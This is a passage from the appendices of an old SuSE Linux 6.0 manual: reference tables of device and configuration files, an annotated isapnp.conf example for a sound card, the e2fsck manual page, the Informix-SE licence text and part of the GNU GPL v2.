`/proc`	the process file system
`/usr/local`	local extensions, independent of the distribution
`/opt`	optional software, large systems (e. g., KDE)

Table C.1: Overview of important directories

Appendix D
Important files

The most important file in your system is the kernel itself. It can be found in the root directory in the file `/vmlinuz`.

D.1 Device files in the /dev directory

Disks and hard disks:[1]

`/dev/fd0`	first floppy drive
`/dev/fd1`	second floppy drive
`/dev/hda`	first AT bus HD
`/dev/hda1` - `/dev/hda15`	partitions of first AT bus HD
`/dev/sda`	first SCSI HD
`/dev/sda1` - `/dev/sda15`	partitions of first SCSI HD
`/dev/sdb`	second SCSI HD
`/dev/sdc`	third SCSI HD

Table D.1: Overview of device files of mass storage media

D.1.1 CD-ROM drives

`/dev/cdrom`	Link to the CD-ROM drive in use, e. g., one of the files below. Assigned by YaST.
`/dev/aztcd`	Aztech CDA268-01 CD-ROM
`/dev/cdu535`	Sony CDU-535 CD-ROM
`/dev/cm206cd`	Philips CM206
`/dev/gscd0`	Goldstar R420 CD-ROM

Table D.2: to be continued...

[1] Besides the listed device files, you may create additional ones. Information: manual pages for **mknod**.

/dev/hda to /dev/hdd	ATAPI IDE CD-ROM
/dev/lmscd	Philips CM 205/250/206/260 CD-ROM
/dev/mcd	Mitsumi CD-ROM
/dev/sbpcd0 to /dev/sbpcd3	CD-ROM on SoundBlaster
/dev/scd0 to /dev/scd1	SCSI CD-ROM drives
/dev/sonycd	Sony CDU 31a CD-ROM
/dev/sjcd	Sanyo CD-ROM
/dev/optcd	Optics Storage CD-ROM

Table D.2: Overview of device files of CD-ROM drives

D.1.2 Tapes

/dev/rmt0	1st SCSI streamer *rewinding* (rewinds automatically)
/dev/nrmt0	1st SCSI streamer *non-rewinding*
/dev/ftape	Floppy streamer *rewinding* (rewinds automatically)
/dev/nftape	Floppy streamer *non-rewinding*

Table D.3: Overview of device files of streaming tapes

D.1.3 Mice (bus and PS/2)

/dev/mouse	Link to the interface used by the mouse—a pseudo file for bus mice, a serial interface for others. Assigned by YaST.
/dev/atibm	ATI graphics card bus mouse
/dev/logibm	Logitech bus mouse.
/dev/inportbm	PS/2 bus mouse

Table D.4: Overview of device files of mice

D.1.4 Modem

`/dev/modem`	Link to the COM port to which the modem is connected. Assigned by YaST.

Table D.5: Overview of device files of modems

D.1.5 Serial interfaces

`/dev/ttyS0` to `/dev/ttyS3`	Serial interfaces 0 to 3
`/dev/cua0` to `/dev/cua3`	Serial interfaces 0 to 3 (for outgoing modem connections)

Table D.6: Overview of device files of serial interfaces

D.1.6 Parallel ports

Table D.7: Overview of device files of parallel ports

D.1.7 Special devices

`/dev/null`	"swallows" any data (data bin)
`/dev/tty1` to `/dev/tty8`	Virtual consoles
`/dev/zero`	Outputs any number of null bytes

Table D.8: Overview of device files of special (virtual) devices

D.2 Configuration files in **/etc**

/etc/rc.config	The system's central configuration file. Created by YaST and read by the boot scripts and **SuSEconfig**.
/etc/inittab	Configuration file for the init process
/etc/lilo.conf	Configuration of LILO
/etc/conf.modules	Configuration of kernel modules
/etc/DIR_COLORS	Color assignments for **ls**
/etc/XF86Config	Configuration of the X Window System
/etc/fstab	Table of file systems that are automatically mounted at boot time
/etc/profile	The shells login script
/etc/passwd	User database: user names, home directory, login shell, user number
/etc/shadow	Passwords
/etc/group	User groups
/etc/printcap	Description of installed printers. Used by the lpd printer daemon. See page 235.
/etc/hosts	Hostname to IP address assignments. Necessary if no nameserver is installed.
/etc/inetd.conf	Definition of configured IP services (**telnet**, **finger**, **ftp** and many more).
/etc/syslogd.conf	Configuration file for the syslog daemon—serves for reporting certain system messages.

Table D.9: Configuration files in /etc

D.3 Hidden configuration files in **home**

In the home directory of each user, there are several configuration files which for practical reasons are "hidden". They are modified infrequently. A file becomes hidden if you attach a dot at the beginning of the file name. One can see these files by typing **ls -a**. Some examples are in table D.10. These files are copied from /etc/skel when creating a new user.

.profile	the user's private login script (for **bash**)
.bashrc	**bash** configuration
.exrc	**vi** configuration
.xinitrc	X Window System startup script
.fvwmrc	Configuration of **fvwm** window manager

Table D.10: to be continued...

.ctwmrc	Configuration of **ctwm** window manager
.openwin-menu	Configuration of **olvwm** and **olwm** window manager

Table D.10: Hidden files in the user's home directory

Appendix E

An example for /etc/isapnp.conf

Using an “Creative Labs Soundblaster AWE64” as an example we would like to present a working /etc/isapnp.conf. Please take into consideration that you cannot use this example on your system right out of the box. Additional comments are marked with a # in brackets : # [This is a comment] .

```
# This is free software, see the sources for details.
# This software has NO WARRANTY, use at your OWN RISK
#
# For details of this file format, see isapnp.conf(5)
#
# For latest information on isapnp and pnpdump see:
# http://www.roestock.demon.co.uk/isapnptools/
#
# Compiler flags: -DREALTIME -DNEEDSETSCHEDULER
#
# Trying port address 0203
# Board 1 has serial identifier ec 00 01 04 d8 9d 00 8c 0e

# (DEBUG)
# [These three lines identify the installed cards]
(READPORT 0x0203)
(ISOLATE)
(IDENTIFY *)

# [ Here the configuration of the first ISA-PnP card found starts]
# Card 1: (serial identifier ec 00 01 04 d8 9d 00 8c 0e)
# CTL009d Serial No 66776 [checksum ec]
# Version 1.0, Vendor version 2.0
# ANSI string -->Creative SB AWE64 PnP
#
# Logical device id CTL0042
#
# Edit the entries below to uncomment out the configuration required.
# Note that only the first value of any range is given, this may be
# changed if required
# Don't forget to uncomment the activate (ACT Y) when happy

# [ Start of the configuration of the 1. logical device on the 1. ISAPnP card]
(CONFIGURE CTL009d/66776 (LD 0
#     ANSI string -->Audio

# Multiple choice time, choose one only !
# [ Now you are offered different configuration possibilities for LD 0 ]
# [ Each possibility is separated from the following by a blank line ]
# [ You should only select one possibility for each logical device! ]
```

```
# [ 1. Configuration possibility for the 1. logical device]
# [ of the 1. ISA-PnP card ]
#     Start dependent functions: priority preferred
#       IRQ 5.
#             High true, edge sensitive interrupt (by default)
(INT 0 (IRQ 5 (MODE +E)))
#       First DMA channel 1.
#             8 bit DMA only
#             Logical device is not a bus master
#             DMA may execute in count by byte mode
#             DMA may not execute in count by word mode
#             DMA channel speed in compatible mode
(DMA 0 (CHANNEL 1))
#       Next DMA channel 5.
#             16 bit DMA only
#             Logical device is not a bus master
#             DMA may not execute in count by byte mode
#             DMA may execute in count by word mode
#             DMA channel speed in compatible mode
(DMA 1 (CHANNEL 5))
#       Logical device decodes 16 bit IO address lines
#             Minimum IO base address 0x0220
#             Maximum IO base address 0x0220
#             IO base alignment 1 bytes
#             Number of IO addresses required: 16
(IO 0 (BASE 0x0220))
#       Logical device decodes 16 bit IO address lines
#             Minimum IO base address 0x0330
#             Maximum IO base address 0x0330
#             IO base alignment 1 bytes
#             Number of IO addresses required: 2
(IO 1 (BASE 0x0330))
#       Logical device decodes 16 bit IO address lines
#             Minimum IO base address 0x0388
#             Maximum IO base address 0x0388
#             IO base alignment 1 bytes
#             Number of IO addresses required: 4
(IO 2 (BASE 0x0388))

# [ 2. (alternative !!) Configuration possibility for the 1. logical ]
# [ device of the 1. ISA-PnP card; Separated from the 1. possibility ]
# [ by a blank line. As the above block has already been accepted ]
# [ there is no action needed. ]
#       Start dependent functions: priority acceptable
#       IRQ 5, 7, 9 or 10.
#             High true, edge sensitive interrupt (by default)
# (INT 0 (IRQ 5 (MODE +E)))
#       First DMA channel 0, 1 or 3.
#             8 bit DMA only
#             Logical device is not a bus master
#             DMA may execute in count by byte mode
#             DMA may not execute in count by word mode
#             DMA channel speed in compatible mode
# (DMA 0 (CHANNEL 0))
#       Next DMA channel 5, 6 or 7.
#             16 bit DMA only
#             Logical device is not a bus master
#             DMA may not execute in count by byte mode
#             DMA may execute in count by word mode
```

```
#             DMA channel speed in compatible mode
# (DMA 1 (CHANNEL 5))
#       Logical device decodes 16 bit IO address lines
#             Minimum IO base address 0x0220
#             Maximum IO base address 0x0280
#             IO base alignment 32 bytes
#             Number of IO addresses required: 16
# (IO 0 (BASE 0x0220))
#       Logical device decodes 16 bit IO address lines
#             Minimum IO base address 0x0300
#             Maximum IO base address 0x0330
#             IO base alignment 48 bytes
#             Number of IO addresses required: 2
# (IO 1 (BASE 0x0300))
#       Logical device decodes 16 bit IO address lines
#             Minimum IO base address 0x0388
#             Maximum IO base address 0x0388
#             IO base alignment 1 bytes
#             Number of IO addresses required: 4
# (IO 2 (BASE 0x0388))

#       Start dependent functions: priority acceptable
#       IRQ 5, 7, 9 or 10.
# [...]
# [ Further configurations for this logical device deleted ]

#     End dependent functions
# [There should be no comment in front of (ACT Y), as it won't be ]
# [initialized otherwise]
(ACT Y)
))
#
# Logical device id CTL7002
#
# Edit the entries below to uncomment out the configuration required.
# Note that only the first value of any range is given, this may be
# changed if required.
# Don't forget to uncomment the activate (ACT Y) when happy

# [ Start of the configuration of the 2. log. device of the 1. ISA-PnP card ]
(CONFIGURE CTL009d/66776 (LD 1
#     Compatible device id PNPb02f
#     ANSI string -->Game

# Multiple choice time, choose one only !

# [ 1. Configuration possibility for the 2. logical device]
#     Start dependent functions: priority preferred
#       Logical device decodes 16 bit IO address lines
#             Minimum IO base address 0x0200
#             Maximum IO base address 0x0200
#             IO base alignment 1 bytes
#             Number of IO addresses required: 8
(IO 0 (BASE 0x0200))

# [ 2. Configuration possibility for the 2. logical device]
#       Start dependent functions: priority acceptable
#       Logical device decodes 16 bit IO address lines
#             Minimum IO base address 0x0200
#             Maximum IO base address 0x0208
#             IO base alignment 8 bytes
```

```
#            Number of IO addresses required: 8
# (IO 0 (BASE 0x0200))

#     End dependent functions
(ACT Y)
))
#
# Logical device id CTL0022
#
# Edit the entries below to uncomment out the configuration required.
# Note that only the first value of any range is given, this may be
# changed if required.  Don't forget to uncomment the activate (ACT Y)
# when happy

# [ Start of the configuration of the 3. log. device of the 1. ISA-PnP card ]
(CONFIGURE CTL009d/66776 (LD 2
#     ANSI string -->WaveTable

# Multiple choice time, choose one only !

# [ 1. Configuration possibility for the 3. logical device]
#     Start dependent functions: priority preferred
#       Logical device decodes 16 bit IO address lines
#            Minimum IO base address 0x0620
#            Maximum IO base address 0x0620
#            IO base alignment 1 bytes
#            Number of IO addresses required: 4
(IO 0 (BASE 0x0620))
(IO 1 (BASE 0x0a20))
(IO 2 (BASE 0x0e20))

# [...]
# [ Further configurations for this logical device deleted ]

#     End dependent functions
(ACT Y)
))

#
# Logical device id CTL2011
#
# Edit the entries below to uncomment out the configuration required.
# Note that only the first value of any range is given, this may be
# changed if required. Don't forget to uncomment the activate (ACT Y)
# when happy
# [ Start of the configuration of the 4. log. device of the 1. ISA-PnP card ]

(CONFIGURE CTL009d/66776 (LD 3
#     Compatible device id PNP0600
#     ANSI string -->IDE

# Multiple choice time, choose one only !
# [ 1. Configuration possibility for the 4. logical device of the]
# [1. ISA-PnP card]
#     Start dependent functions: priority preferred
#       IRQ 10.
#            High true, edge sensitive interrupt (by default)
(INT 0 (IRQ 10 (MODE +E)))
#       Logical device decodes 16 bit IO address lines
#            Minimum IO base address 0x0168
#            Maximum IO base address 0x0168
```

```
#             IO base alignment 1 bytes
#             Number of IO addresses required: 8
(IO 0 (BASE 0x0168))
#       Logical device decodes 16 bit IO address lines
#             Minimum IO base address 0x036e
#             Maximum IO base address 0x036e
#             IO base alignment 1 bytes
#             Number of IO addresses required: 2
(IO 1 (BASE 0x036e))

# [ 2. Configuration possibility for the 4. logical device of the]
# [1. ISA-PnP card]
#       Start dependent functions: priority acceptable
#       IRQ 11.
#             High true, edge sensitive interrupt (by default)
# (INT 0 (IRQ 11 (MODE +E)))
#       Logical device decodes 16 bit IO address lines
#             Minimum IO base address 0x01e8
#             Maximum IO base address 0x01e8
#             IO base alignment 1 bytes
#             Number of IO addresses required: 8
# (IO 0 (BASE 0x01e8))
#       Logical device decodes 16 bit IO address lines
#             Minimum IO base address 0x03ee
#             Maximum IO base address 0x03ee
#             IO base alignment 1 bytes
#             Number of IO addresses required: 2
# (IO 1 (BASE 0x03ee))

#       Start dependent functions: priority acceptable
#       IRQ 10, 11, 12 or 15.
# [...]
# [ Further configurations for this logical device deleted ]

#     End dependent functions
(ACT Y)
))
# End tag... Checksum 0x00 (OK)

# Returns all cards to the "Wait for Key" state
(WAITFORKEY)
```

Appendix F
Manual page of e2fsck

```
E2FSCK(8)                                                    E2FSCK(8)


NAME
       e2fsck - check a Linux second extended file system

SYNOPSIS
       e2fsck  [  -pacnyrdfvstFSV ] [ -b superblock ] [ -B block-
       size ] [ -l|-L bad_blocks_file ] device

DESCRIPTION
       e2fsck is used to check a Linux second extended file
       system.

       device is  the  special  file  corresponding to the device
              (e.g /dev/hdXX).

OPTIONS
       -a     This option does the same thing as the  -p  option.
              It is provided for backwards compatibility only; it
              is suggested that people use -p option whenever
              possible.

       -b superblock
              Instead  of  using  the  normal superblock, use the
              alternative superblock specified by superblock.

       -B blocksize
              Normally, e2fsck will search for the superblock  at
              various different block sizes in an attempt to find
              the appropriate block size.   This  search  can  be
              fooled in some cases.  This option forces e2fsck to
              only try locating the superblock  at  a  particular
              blocksize.   If the superblock is not found, e2fsck
              will terminate with a fatal error.

       -c     This option causes e2fsck to run  the  badblocks(8)
              program  to  find  any  blocks which are bad on the
              filesystem, and then marks them as  bad  by  adding
```

— to be continued

```
              them to the bad block inode.

       -d     Print  debugging  output  (useless  unless  you are
              debugging e2fsck ).

       -f     Force checking even if the file system seems clean.

       -F     Flush  the filesystem device's buffer caches before
              beginning.  Only really  useful  for  doing  e2fsck
              time trials.

       -l filename
              Add  the  blocks  listed  in  the file specified by
              filename to the list of bad blocks.

       -L filename
              Set the bad blocks list to be the  list  of  blocks
              specified by filename.  (This option is the same as
              the -l  option,  except  the  bad  blocks  list  is
              cleared  before  the  blocks listed in the file are
              added to the bad blocks list.)

       -n     Open the filesystem read-only, and assume an answer
              of  ``no''  to  all questions.  Allows e2fsck to be
              used non-interactively.  (Note: if the -c,  -l,  or
              -L  options  are  specified  in  addition to the -n
              option, then the filesystem will  be  opened  read-
              write, to permit the bad-blocks list to be updated.
              However, no other  changes  will  be  made  to  the
              filesystem.)

       -p     Automatically  repair  ("preen")  the  file  system
              without any questions.

       -r     This option does nothing at  all;  it  is  provided
              only for backwards compatibility.

              -s  This  option  will  byte-swap the filesystem so
              that it is using  the  normalized,  standard  byte-
              order  (which  is  i386  or little endian).  If the
              filesystem is already in the  standard  byte-order,
              e2fsck will take no action.

       -S     This  option will byte-swap the filesystem, regard-
              less of its current byte-order.

       -t     Print timing statistics for e2fsck.  If this option
              is  used  twice,  additional  timing statistics are
              printed on a pass by pass basis.

       -v     Verbose mode.

       -V     Print version information and exit.

       -y     Assume an  answer  of  ``yes''  to  all  questions;
```

— to be continued

```
              allows e2fsck to be used non-interactively.

EXIT CODE
       The exit code returned by e2fsck is the sum of the
       following conditions:
            0    - No errors
            1    - File system errors corrected
            2    - File system errors corrected, system should
                   be rebooted if file system was mounted
            4    - File system errors left uncorrected
            8    - Operational error
            16   - Usage or syntax error
            128  - Shared library error

REPORTING BUGS
       Almost any piece of software  will have bugs.  If  you
       manage  to find a filesystem which causes e2fsck to crash,
       or which  e2fsck  is unable to repair, please report it to
       the author.

       Please include as much information as possible in your bug
       report.  Ideally, include a  complete  transcript  of  the
       e2fsck  run,  so I can see exactly what error messages are
       displayed.  If you have a writeable filesystem  where  the
       transcript can be stored, the script(1) program is a handy
       way to save the output of to a file.

       It is also useful to send the output of dumpe2fs(8).  If a
       specific  inode  or  inodes  seems to be giving e2fsck
       trouble, try running the debugfs(8) command and send the
       output  of the stat command run on the relevant inode(s).
       If the inode is a directory, the debugfs  dump  command
       will allow you to extract the contents of the directory
       inode, which can sent to me after being first run  through
       uuencode(1).

       Always  include  the full version string which  e2fsck
       displays when it is run, so I know which version you are
       running.

AUTHOR
       This   version   of   e2fsck   is   written   by   Theodore   Ts'o
       <tytso@mit.edu>.

SEE ALSO
       mke2fs(8), tune2fs(8), dumpe2fs(8), debugfs(8)


E2fsprogs version 1.06     October 1996
```

1

Appendix G
Free INFORMIX-SE on SuSE Linux

```
Welcome to the Free INFORMIX-SE on SuSE Linux 6.0 Developer
Program!


INFORMIX-SE Version 7.24.UC5-1 & ESQL/C for SuSE Linux 6.0
Kernel 2.0.36 & glibc 2.0.7

To obtain your free single, user developer license for
Informix-SE Version 7.24.UC5-1 & ESQL/C for SuSE Linux 6.0,
go to ‘http://www.informix.com/register4suse’.  After you
fill out a short registration form, you will be provided
with a serial number and key that will allow you to complete
the installation of these products.

The Informix Developer Network (IDN) located at
‘http://www.informix.com/idn’ will provide you with access
to other valuable information including:

·       Installation How-To’s
·       Technical Support Offerings
·       Informix on-line product documentation
·       Answers to Frequently Asked Questions (FAQ)

IDN will serve as your resource for all of your questions
regarding Informix products.

Provided that you have registered at the
‘http://www.informix.com/register4suse’ web site, you will
become party to the following Informix End User License
Agreement.  A hard copy of this agreement is provided
herein:
```

Terms and Conditions

INFORMIX END USER LICENSE AGREEMENT

By clicking the Accept check box and installing this Informix Product, You hereby agree to the following terms and conditions. As used herein, ''You'' means either you as an individual acting on your own behalf or the entity on whose behalf and for whose benefit you are downloading the Product. IF YOU DO NOT AGREE TO ALL OF THE TERMS OF THIS AGREEMENT, DO NOT DOWNLOAD THE PRODUCT, AND CLICK THE ''DO NOT ACCEPT'' BUTTON.

A. License:

1. Subject to the terms and conditions set forth below, Informix Software, Inc. (''Informix'') hereby grants to You a non-exclusive, non- transferable, right to use the Product made available by Informix in accordance with the provisions of this Agreement. As used herein, the term ''Product'' means, in object code form only, the Informix software identified above.

B. LIMITATIONS:

1. Except as expressly licensed to You in Section A.1 above, Informix retains all right, title and interest, including intellectual property rights, in and to the licensed Product and all rights not expressly granted herein are reserved by Informix. You do not have any rights of ownership in the Product and shall not claim that You have any rights in or to the Product other than as specifically granted by this Agreement.

2. You shall not, directly or indirectly: (a) reverse engineer, disassemble or decompile, or otherwise attempt to derive the source code for, any Product; (b) encumber, time-share, rent, or lease the rights granted by this Agreement; or (c) copy, manufacture, distribute, adapt, create derivative works of, translate, localize, port or otherwise modify any Product or other confidential information of Informix or grant anyone a license to engage in similar conduct. Results of any benchmark or other performance tests run on the Products may not be disclosed to any third party without Informix's prior written consent.

3. Products acquired with United States Federal Government funds or intended for use within or for any United States federal agency are provided with "Restricted Rights" as

defined in DFARS 252.227-7013(c)(1)(ii) or FAR 52.227-19.

C. EXPORT RESTRICTIONS:

The Product, including associated technical data, is subject to United States export control laws and may be subject to export or import regulations in other countries. You shall strictly comply with all such laws and regulations and acknowledge that none of the Products, underlying information or technology, or any direct products may not be downloaded or otherwise exported, directly or indirectly, (i) to a national resident of Cuba, Libya, Iraq, Sudan, Syria, North Korea, or Iran or any other country to which the U.S. has embargoes in effect or (ii) in violation of U.S. export laws and You are solely responsible for obtaining any appropriate licenses to export, re-export or import the Products. may not export or re-export the Product or programs generated therefrom to any country which is the subject of an embargo by the United States as set forth the then current U.S. Export Administration Regulations, or to anyone listed on the then current U.S. Treasury Department's list of Specially Designated Nationals or blocked entities, or the U.S. Commerce Department-Bureau of Export Administration's Denied Persons List.

D. No Warranty or Remedy:

1. INFORMIX PROVIDES THE pRODUCT AND ANY RELATED DESCRIPTIONS OR DOCUMENTATION ''AS is'' AND WITHOUT WARRANTY OF ANY KIND. INFORMIX DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, OR CONDITIONS OF ANY KIND, INCLUDING BUT NOT LIMITED TO, WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT. YOU ASSUME THE ENTIRE RISK AS TO THE QUALITY, PERFORMANCE AND RESULTS OF THE pRODUCT. SHOULD THE PRODUCT PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION RELATED IN ANY WAY TO SUCH DEFECTS. NO SUPPORT IS OFFERED TO YOU OR ANY OTHER THIRD PARTY BY INFORMIX FOR THE pRODUCT AND YOU ARE NOT ENTITLED TO ANY INFORMIX TECHNICAL SUPPORT OR MAINTENANCE SERVICES. YOU hereby confirm that this DISCLAIMER OF ALL WARRANTIES AND OTHER limitationS ARE reasonable under all circumstances.

2. IN ADDITION TO THE DISCLAIMER OF WARRANTIES CONTAINED IN THIS AGREEMENT, YOU SHALL NOT, AND ACKNOWLEDGE AND AGREE THAT NEITHER YOU NOR YOUR EMPLOYEES, AGENTS OR OTHER THIRD PARTIES ACTING ON YOUR BEHALF SHALL HAVE ANY RIGHT TO, MAKE ANY REPRESENTATION, WARRANTY OR PROMISE ON BEHALF OF INFORMIX.

```
E. LIMITATION OF LIABILITY:

IN NO EVENT SHALL INFORMIX BE LIABLE FOR ANY DAMAGES
WHATSOEVER (INCLUDING, WITHOUT LIMITATION, ANY DIRECT,
INDIRECT, GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL
DAMAGES) ARISING OUT OF THE USE OF OR INABILITY TO USE THE
PRODUCT OR IN ANY WAY RELATED TO THE USE OR ATTEMPTED USE OF
ANY INFORMATION POSTED ON OR MADE AVAILABLE AT AN INFORMIX
WEB SITE OR ANY OTHER WEB SITE TO WHICH A LINK MAY BE
PROVIDED, INCLUDING BUT NOT LIMITED TO DAMAGES RESULTING
FROM (A) LOSS OF DATA OR DATA USE OR DATA BEING RENDERED
INACCURATE, OR (B) LOSSES SUSTAINED BY YOU OR THIRD PARTIES,
OR (C) FAILURE OF THE PRODUCT TO OPERATE WITH ANY OTHER
PROGRAMS OR PRODUCT, OR (D) loss OF revenueS OR profits, OR
(E) work stoppage, OR (F) computer failure or malfunction,
EVEN IF INFORMIX HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
DAMAGES AND REGARDLESS OF THE LEGAL THEORY ON WHICH SUCH
DAMAGES ARE BASED.

No action, regardless of form, arising out of the
transactions under this Agreement may be brought more than
one (1) year after the occurrence of the events which give
rise to the cause of action

F. INDEMNIFICATION:

You shall, at your expense, indemnify, defend, save and hold
Informix harmless from any claim brought or filed by a
third-party against Informix due to any failure by You, your
employees or agents to act in accordance with the terms of
this Agreement.

G. Term / Termination:

This Agreement shall become effective upon installation of
the Product.  The rights granted herein shall be perpetual
unless this Agreement is terminated by Informix for a breach
by You of the terms of this Agreement. Informix may
immediately terminate this Agreement if You breach your
obligations under this Agreement. Upon termination of this
Agreement, all license rights shall cease and the Product
shall be returned immediately to Informix.

H. General:

This Agreement is governed by the laws of California and the
United Nations Convention on Contracts for the International
Sale of Goods will not apply to this Agreement. Informix may
```

```
seek to specifically enforce or prevent a breach of any term
of this Agreement in the appropriate courts of any state or
country in which the Product is used or in which You reside
or maintain an office. This Agreement is the sole and
exclusive statement between You and Informix regarding the
transactions contemplated herein and supersedes any prior
understanding, whether written or oral. Nothing in this
Agreement shall be deemed a waiver by either party of any
and all available legal or equitable remedies. Any rights
not expressly granted herein are reserved.
```

Appendix H

The GNU General Public License

GNU GENERAL PUBLIC LICENSE

Version 2, June 1991

Preamble

The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software–to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too.

When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things.

To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it.

For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights.

We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software.

Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations.

Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all.

The precise terms and conditions for copying, distribution and modification follow.

GNU GENERAL PUBLIC LICENSE

TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does.

1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program.

You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee.

2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions:

a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change.

b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License.

c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program.

In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License.

3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following:

a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or,

b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or,

c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable.

If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code.

4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.

5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it.

6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License.

7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances.

It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice.

This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License.

8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License.

9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.

Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation.

